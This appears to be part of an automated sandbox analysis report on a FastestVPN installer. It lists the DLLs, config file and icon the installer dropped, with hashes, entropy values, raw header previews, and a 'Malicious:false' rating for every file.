                                                                                                                    SHA-512:94BB5E38CBCDC1E40BBD3AB14A3C92C8C90F64EA1910108BB2DE80E00BEA358A13A063031B5E3417A55102DB238488F5C3E766A1AF3ACEDB8806FEC5DD81990C
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._.Y.1.Y.1.Y.1..l.[.1...>.].1.[.5.[.1.9.|.X.1...l.D.1.Y.0.p.1...n.V.1...Q.M.1...o.X.1...k.X.1.RichY.1.........PE..L...[..@.................J...................`...............................P................... ...........................=..T....@...............n...*..............................................@............................................text....I.......J.................. ..`.data...L....`.......N..............@....rsrc........@.......^..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\is-88O7S.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25984
                                                                                                                    Entropy (8bit):6.291520154015514
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
                                                                                                                    MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                                                                    SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                                                                    SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                                                                    SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

                                                                                                                    C:\Program Files\FastestVPN\is-8ATR4.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):53624
                                                                                                                    Entropy (8bit):6.18841715621451
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:mLtojuUUUbf/l0lwELEEEqi8g15qTLT5HGoV0weeezxSoL3G7Yl9zndG:mE17Iw8/i8gM5maee8SoL13zdG
                                                                                                                    MD5:B7ABAF6A90E95E585E71C0C22D90AF73
                                                                                                                    SHA1:C9756883D1738A9931D0BF58D6F69CBB8DFD5870
                                                                                                                    SHA-256:3BA247FDCC6953B5CC672A361983B7B0AF3051A83128970BCEBAB22036D1E859
                                                                                                                    SHA-512:3A67EF230A06FAE3095926EAD9AAF329009BC0F2ED6AA1E6683C426ADA29DDD9CB77EC3BE134DFC4CD10A1F675D518FB4986363C4FE649D4247770B96DBC7A56
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#2..........." ..0.................. ........... ...............................0....`.....................................O.......................x'..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........E...w..........................................................&...(....*2.r...p(....*V.(......}......}....*..{....*..{....*..{....*..(......}......}......}.......}.......}....*..{....*..{....*..{....*..{....*..{....*...0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...

                                                                                                                    C:\Program Files\FastestVPN\is-8IJ1N.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):41128
                                                                                                                    Entropy (8bit):6.4006875255426365
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:dQq+jQ+JutCjyVmF8Wq8sBP3/7lpKaDBuz3bzrzlJBOKipq8pdwYv4qzsYiCtVK9:gVutFQF873t3/77KaDBuz3bzrBJBOKig
                                                                                                                    MD5:FDF4712500755002CD0FFD2F7BEA8C2A
                                                                                                                    SHA1:372F4D6F2F19A5DF96FCDEF566AE4761F7AFF2B5
                                                                                                                    SHA-256:D61A675E7D11A6DDF12E4CEBCABFD7BAAA24B86AD7B751BE19788E7A8A5ABE39
                                                                                                                    SHA-512:6484349215D1347FB3D77E6598AF740045AC416EE06370B8D89E91ECBA930E5AFFCE6F4840CE4ECD2214960E1884CCBE49710E5B5C1FEBE0C96F88A099AE2E4E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....z:..........." ..0..n..........&.... ........... ....................................`....................................O.......h............v...*..........@...8............................................ ............... ..H............text...,m... ...n.................. ..`.rsrc...h............p..............@..@.reloc...............t..............@..B........................H........6..PU............................................................{....*"..}....*..{....*"..}....*..~....}......s....}.....(........(.............s*...}....*....0..................,5...(A.....(.........,..~.....(.....s....o.......8..............0....B+......8..... . ...G+.. . ..;....8....~.....(.....s....o.....8....~.....(.....s....o.....+s.o.....~.....(....s....o......(....o ...r...p(!.......,...(.......{.....{....o"....(6...&+...(......s#...(.....+.+..*..0..F.......

                                                                                                                    C:\Program Files\FastestVPN\is-8MGRV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):20136
                                                                                                                    Entropy (8bit):6.723147332362829
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:BaXxdsvBO/dITrZ+VK6G6IYi+PVl0FP27NBY3Yuv+t+QV:BJZl6GHYiGIK/Y/+tB
                                                                                                                    MD5:14A266CFF3BC7795C208096E24D4791D
                                                                                                                    SHA1:D55A976C562A309B4EEB860E711324A22357470E
                                                                                                                    SHA-256:2C2E075009E736927EBC468CDFB7FF273F73670DF87A057C7B98D18A17CA945D
                                                                                                                    SHA-512:E4A82644052C82F3CFEBAFFF15DEF713F3883F3E32043FAFB607CEE008498329C2E5A5712B0FEE670D68C9CEE127EC70FEC88977B25AF838B5977595268CD252
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...W/%..........." ..0.............^;... ...@....... ..............................}.....`..................................;..O....@...............$...*...`......l:..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................>;......H........$..............................................................F.(....r...p(....*..{....*"..}....*..0...........s......r...po....&.r-..p.(....o....(....o....&.rI..p.(....o....r_..p(....o....&.rg..p.(....o....(....o....&.(......,...ru..po....&..r...po....&.r...po....&.r...p.(....o....(....o....&.r...po....&.r...p.(....o....r...p(....o....&.(....o.....o....( ....*..r...p.(....o!...r...p(....r...p.(....o....r...p(....("...&*..r?..prK..p.(.........(#...("...&*..r?..pr...

                                                                                                                    C:\Program Files\FastestVPN\is-9GVRJ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):22184
                                                                                                                    Entropy (8bit):6.685941492131545
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:1hKpVrz0BH8aZqmgBTKDAATaYIYikfF0FP27NBY3Yuv+8N:1hKpVcB15KO7aBYimOK/Y/+g
                                                                                                                    MD5:AAA9DA932D572F5B22CBEE1B4E479ED6
                                                                                                                    SHA1:D708727DED1298610C2E3D72C8792F12FC60CFF2
                                                                                                                    SHA-256:73B55714DB609A1712FD4FC420CE18441E41BB7E3E94D73B11AE28C68CCB1124
                                                                                                                    SHA-512:40A8E2CB18FB2D68F0945B6FBF259FA9331327116A6D21A85AAE6AA12600F7FDD3737B5E84E0AE04C584442016882926D9201E16C25EB937838C8BAC24358779
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0.."...........A... ...`....... ...............................6....`..................................A..O....`..`............,...*...........@..T............................................ ............... ..H............text...."... ...".................. ..`.rsrc...`....`.......$..............@..@.reloc...............*..............@..B.................A......H........'.......................@.......................................(....*..0...............(....o........(....s....*...0............(.......(....s....(....*6r...p..(....*.0.._.......s!.....s....}.....{....r...p.r'..p(....o.........."...s....(....%~....(....,..{....o....s....z*..0..#.......(......-...(....*..3...(....*s....z...(....%~....(....,.r=..p.r'..p(....s....z*..0..#.......(......-..(....&*..3..(....&*s....z..0..7..........~....%-.&~..........s....%.....(.........

                                                                                                                    C:\Program Files\FastestVPN\is-9UKRQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.623350319992477
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:21Vrp7wobZBVBhB3GmLiVWgktWe9JHEDIYirwt0FP27NBY3Yuv+1WyT1g:21VV7TbXX72MtWQJHEsYi/K/Y/+1Wy5g
                                                                                                                    MD5:D92BF2C8E0A192E18B1F0B24CCB75171
                                                                                                                    SHA1:2A6343C3409172E1D426B763151E0CBA3B35E473
                                                                                                                    SHA-256:BEED084878EACA4A745A53CC21FAAD1A76F4F82C955BB507496B5B9F23032F1C
                                                                                                                    SHA-512:71AD4963BCEBE516FD9EE526F2DD1ECB13F10E1424D0D3CED08A19A38D902DA562C9B1D0E308C4B898E30187773F040CF6A437210EFEF52B957623F798E59459
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.s..........." ..0..2..........:Q... ...`....... ..............................I/....`..................................P..O....`...............:...*..........,P..8............................................ ............... ..H............text...@1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................Q......H.......`(...'...........................................................0..M........r...p}.....r...p}.....(......{..... (....(....(......{..... (....(....(....*^~....-.s.........~....*..{....*"..}....*..{....*"..}....*..0..8........(........(.....(.....o....r...p(....o.......&..r...p*.*........--.......0..(.......(.....o........(.....(.......&..r...p*.*.................0..X........o.....[.&......+9...Z.o.... ....(........Z.X.o.... ....(......b`.......X...o.....[2..*.0..V...

                                                                                                                    C:\Program Files\FastestVPN\is-A6140.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):88192
                                                                                                                    Entropy (8bit):6.25584016939133
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:0kUuBN7CjSkp9oa++t1BVryVKXDORdDeCNia6Lj4Fu/qSGnJdo0Wzs:ju/t/VryVKXeDezVLj4F/JdWQ
                                                                                                                    MD5:4186A905DC180A0CC2110403727BD792
                                                                                                                    SHA1:E0563D20CA7E95688A60F4BFC1AB0127EAE1F651
                                                                                                                    SHA-256:40DCB80A87A762745D0A15294B5CA7783A9EAD1D93AD352D25B5EDAF4994651E
                                                                                                                    SHA-512:1C3459232B41C531F01BCCE54E46799F2FB3FCD6C87D7F908C633ABCC718D9726D98E65F964B1A870D416A38F545971779054FE65F7C1299905FC7DC24FA2DEC
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&..........>E... ...`....... ....................................`..................................D..O....`...............0...(...........C..T............................................ ............... ..H............text...D%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................E......H........l..@...........02..0...`C........................................(....*..(....*^.(.......k...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....*.~....*..0..........(....,..*..(.....o ......&...*...................0...........(.......(!...-..,..*.*.(....,.r...p......%...%...("...*..(#...*.(....,.r...p......%...%...%...("...*...($...*.(....,!r...p......%...%...%...%...("...*....(%...*..,&(....,..r...pr...p.("...(&...*..('...*.*.(....,.r...p......%...

                                                                                                                    C:\Program Files\FastestVPN\is-AA9TI.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):116872
                                                                                                                    Entropy (8bit):6.726218253535254
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:8tw0r3S8FpUCSBCLiXdb0NphY3kWlon6ZhPn8agN6K/p:8mWi8FpCBCLybQakA/Pn8agNj/p
                                                                                                                    MD5:B9F4D43230B7FB66B95AF05DC03B32DE
                                                                                                                    SHA1:56F868C56FFF836CA61055499988F965DCA37D26
                                                                                                                    SHA-256:A103634B16841E3A68DD4A6BCBDFC3A1651B8C9F1114D99BF01CA31297664E21
                                                                                                                    SHA-512:50EB5DE7D0A1B5D7E1AC38209488635EF77733C2C78DC39D0D473904128DBFC67D4E3EC388D2C2D79645AFDF03FD1965386F6E6D21553C9A6DAB07A58549FD1E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.n.7.=.7.=.7.=.S.<.7.=.S.<o7.=.S.<.7.=._.<.7.=._.<.7.=._.<.7.=.S.<.7.=.7.=.7.=._.<.7.=._.<.7.=._3=.7.=._.<.7.=Rich.7.=........................PE..L...q._]...........!................O........0............................................@.............................T.......<.......................................p...............................@............0...............................text............................... ..`.rdata..4g...0...h..................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\is-B33J3.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):31912
                                                                                                                    Entropy (8bit):6.377831305172757
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:i4sSUSsK/Py54Iu67VMam4AX10KIUt0kYcT/EDYZGSPeyc8cHIlkLi7FIYihZM09:izNK/G4IfVswkYLy5L7yYihrK/Y/+mT
                                                                                                                    MD5:CE66CBCDA6D3B5047691C4AFF63CFE79
                                                                                                                    SHA1:358E3A2284798BE1C537756A41721B61643D2BEE
                                                                                                                    SHA-256:B8551ECBE96BB718BAA56E053589A7F16561BFDAB86575441EC5FBE528B32B8C
                                                                                                                    SHA-512:7BC26EDD1C018553B163B75250B5862D26B607C26BDBFB6934F0AC5CE20B04D1956EEAF3915CBCE2129CD992ECA6E1B1C311991427D485CB43969A05431270E4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...r.C..........." ..0..J..........~h... ........... ..............................wt....`.................................*h..O....................R...*...........g..8............................................ ............... ..H............text....H... ...J.................. ..`.rsrc................L..............@..@.reloc...............P..............@..B................^h......H........1...5............................................................{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*&..(.....*...0...........s.......o.....+X..(.........(....o....o....&..(.........,!..r...po....&...(....o....o....&..r...po....&...(....-...........o ......o....o!.....+...*...........et.......0...........s"...%r...p.o#....%r...pr#..po#....%r+..prA..po#....%r]..p.($...o%...o#....%ro..p.($...o&............o....o'...o#....%r...p.($...o(....

                                                                                                                    C:\Program Files\FastestVPN\is-BBM9J.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\is-CIEMI.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):49320
                                                                                                                    Entropy (8bit):6.325351798150663
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:Qmbo2ICFobV6wsLIcUIh/61jCouvi1Ys7ZYiG6K/Y/+Z:QmbrbU6ws0cGjCoei1Ys7Z7G6K/P
                                                                                                                    MD5:C22900453EF4B917460ADEA7DE87225B
                                                                                                                    SHA1:6878237656DA68C046FB95FAA8CAF3B4C719851B
                                                                                                                    SHA-256:9AF8C8105093B7D62FC578DAE3497FF0AD796C9ABD638EB14269DED4270DFF96
                                                                                                                    SHA-512:2E7D0EB99E2924FB375AAF8891968228193C65C133E362F66567C044E8B744ABC3A992EF7606644690D1BB81AD13A64A35D8107BDBDD9D5942BEA1DD1074EA3C
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ....................................`.................................p...O.......,................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........L...\............................................................{"...*..{#...*V.($.....}".....}#...*...0..A........u........4.,/(%....{"....{"...o&...,.('....{#....{#...o(...*.*.*. ?Y.. )UU.Z(%....{"...o)...X )UU.Z('....{#...o*...X*...0..b........r...p......%..{"......%q.........-.&.+.......o+....%..{#......%q.........-.&.+.......o+....(,...*..{-...*..{....*V.($.....}-.....}....*.0..A........u........4.,/(%....{-....{-...o&...,.('....{.....{....o(...*.*.*. (... )UU.

                                                                                                                    C:\Program Files\FastestVPN\is-F3KEK.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):22696
                                                                                                                    Entropy (8bit):6.669675167195394
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:PICREYcfpyXOT9Z7a6WmYWXWIYiAh70FP27NBY3Yuv+9gfK:PIiE9QXM1xYioMK/Y/+9gi
                                                                                                                    MD5:657A48C8DA3DE14059498E383EBEF318
                                                                                                                    SHA1:ECCC9AB4E6804EB0581AC5BBD684B7DB5A13F028
                                                                                                                    SHA-256:201EC78B195DCE51330985026A8A4EC641F9ACE53429C5C2F5BB3F1CE7BEEC4A
                                                                                                                    SHA-512:C4F2410470BBEA5680958490B705C828254992441D27E5FB7837957583FDA8D639EA8D9EF00035DB63ABACF28C5E4560D642C1D19F144255908C44F5C37CE8DE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....oY.........." ..0..$..........:C... ...`....... ....................................@..................................B..O....`...................*...........A............................................... ............... ..H............text...@#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......h'..p............?..X...0A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*..(....*R. ...(...+%-.&("...*^. ...(#....(...+&~ ...*.s%...*"..s&...*..('...*.*....0........................((

                                                                                                                    C:\Program Files\FastestVPN\is-FQ58N.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):48256
                                                                                                                    Entropy (8bit):6.234996524588368
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:AMWC5N7mKWPKz4VJ4e0jeuTGlBh0JzqPPxofk3l9z2I:Y67hCfV8j3TGlB+JsafkHzP
                                                                                                                    MD5:37EB7CCE6E282D3572D64C880E1AC3C8
                                                                                                                    SHA1:9A2952589A19D650932E7C633577EB9AFC04F959
                                                                                                                    SHA-256:039155F155C5D14F5B73F4EE2CD1FBD9290F391B88A1D2A0BA815569205EDB74
                                                                                                                    SHA-512:E3C2EF1CC52E3AA5BD77B74DEC93A4FC9E908DF823426F13CA304265D41605DE51970CC8C7E18C2E76319D3225707B2EA2D8613402A25C4FBD3951E70FCFD521
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....v..........." ..0.................. ........... ....................................`.....................................O........................(..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........=..da..........0.................................................(....*..(....*^.(.......>...%...}....*:.(......}....*:.(......}....*:.(......}....*:.(......}....**.-..(....*..s....z.~....*...0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..( ...*.(....,.r...p......%...%...%...(....*...(!...*.(....,!r...p......%...%...%...%...(....*....("...*..,&(....,..r...pr...p.(....(#...*..($...*.*.(.

                                                                                                                    C:\Program Files\FastestVPN\is-G4HV7.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):29352
                                                                                                                    Entropy (8bit):6.56368110636982
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:vT6rilChUvVsYQTJMS6V4B6PYikK/Y/+V7:7qSsYOwP7kK/77
                                                                                                                    MD5:1CFBF0CBA3C87653D9639ADA438C3291
                                                                                                                    SHA1:07E36A34319EAD85857CC022E277B69EA132750B
                                                                                                                    SHA-256:3525FCE82E2687D8EFAF992147B196881818856EA9EA851A8DC930751329A8DD
                                                                                                                    SHA-512:E95FC978E889BD62E92975EFD8F39161B6E43FE97451068552E3A71635943F990E4E8697323794D75F77BB12F3DE4E2CFADB5B9D80EF90F1992C82298EBFD00B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t.i..........." ..0..@...........^... ...`....... ....................................`.................................:^..O....`...............H...*..........|]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............F..............@..B................n^......H........1...+............................................................{....*:.(......}....*..0..)........u..........,.(.....{.....{....o....*.*.*v .5Q' )UU.Z(.....{....o....X*..0..:........r...p......%..{.......%q.........-.&.+.......o.....(....*..{....*:.(......}....*....0..)........u..........,.(.....{.....{....o....*.*.*v . .q )UU.Z(.....{....o....X*..0..:........r-..p......%..{.......%q.........-.&.+.......o.....(....*..{....*..{....*V.(......}......}....*.0..A.......

                                                                                                                    C:\Program Files\FastestVPN\is-G502V.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):75432
                                                                                                                    Entropy (8bit):6.020201057914009
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:mjb2NmqeZsE64aEKbMsZG0EN3ovewf8KnWE7LJ/ZEBiUN7TK/P:mjbUmqWL3M/WkV2ZNHK/P
                                                                                                                    MD5:8DC8D595216B1D7703575B77282F7147
                                                                                                                    SHA1:5FBA510AB9D9677B5AF28757BFCFC3E6EE3228F5
                                                                                                                    SHA-256:7A8833790323071279C55854F35A1A802BF5D5766CABCFA381889460F95D5864
                                                                                                                    SHA-512:F1E79E49CF5F10C9BC88D2AAA078FABD772027360A8C9692334AC3BBCDFEEDD93C2C6234F4DE6C6B4AFBD443FD6315633FE8943229EE0CB8CA6A6F29C2AE97EE
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...e.Z..........." ..0.............".... ... ....... .......................`......E.....`.....................................O.... ...................*...@..........T............................................ ............... ..H............text...(.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......pG...................... .......................................6.......(....*.~....*F~J......o.......*N........s....o...+*..0............(........~......o2...*.0............(........~K.....o....*.0..%.........(..........(........~L.......o....*....0..H.........(..........(........~M....o.............(....(.........{........o....*2~$....o....*2~#....o....*2~H....oz...*6~I.....o~...*:~J......o....*2~%....o....*2~&....o....*>.(.......o....*...0..N........,........s.....

                                                                                                                    C:\Program Files\FastestVPN\is-GVJD7.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):149896
                                                                                                                    Entropy (8bit):6.136390335470081
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:PcRKLBm0ELV6Ra+eKBL24YzRk2XDuzEdnp+4WSspmfxPapkwN5RGV5xz/OEYW58R:qI0KRHeKBszRk2aApjsp7pBtZGh9
                                                                                                                    MD5:70B1C15FDBBFB88F91965DC7BBC5527F
                                                                                                                    SHA1:A473571DAC42819933CD7EF0C604F1EA0614D2F3
                                                                                                                    SHA-256:109878A7A6F6BD13637B7E3A2EBC22D37423716ECD4E954CC09BACB84B92F62B
                                                                                                                    SHA-512:C496EE2DDF6C401E9E48FB6D739C44200EBFE36B516E7608CECB3E32FEB620CE1531CC5DE26B1A4CD033C65FD002D6B6315B746CFB8B4D047A2954F6F33CA0A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...5A............" ..0..............;... ...@....... ..............................Ri....`.................................N;..O....@...............&...#...`......X:..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......h....Y..........H'.......9........................................(...+*.~....*.~....*.~....*..%-.&(....*..%-.&~ ...*....0..........(!......o"......(7.......*...................0..........(!......o...+...(...+....*....................~$...%-.&~%.....&...s'...%.$....(...+*.0..D.............,:......o(.....,......o(....3.........o)....(....+.....(...+.*.0..9.......s*......}+.....},.....}-................s/... ....(B...&*....0..$........,...r...p......%.....o~......o0...*

                                                                                                                    C:\Program Files\FastestVPN\is-I330H.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):15086
                                                                                                                    Entropy (8bit):3.1108966039740653
                                                                                                                    Encrypted:false
